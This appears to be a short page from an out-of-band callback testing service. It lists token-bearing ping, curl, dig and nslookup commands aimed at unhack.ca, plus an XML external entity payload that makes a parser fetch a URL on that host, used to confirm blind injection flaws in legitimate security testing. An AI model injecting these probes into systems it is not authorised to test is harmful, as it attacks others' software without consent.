$ ping -c1 -p 00a90c706a3403d54f79b12b87648600 unhack.ca
 
$ curl http://unhack.ca/p/a90c706a3403d54f79b12b876486
 
$ dig a90c706a3403d54f79b12b876486 @unhack.ca
 
$ dig a90c706a3403d54f79b12b876486.ns.unhack.ca
 
C:\> nslookup a90c706a3403d54f79b12b876486 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/a90c706a3403d54f79b12b876486">]>
    <foo>&xxe;</foo>
 
Waiting for ping...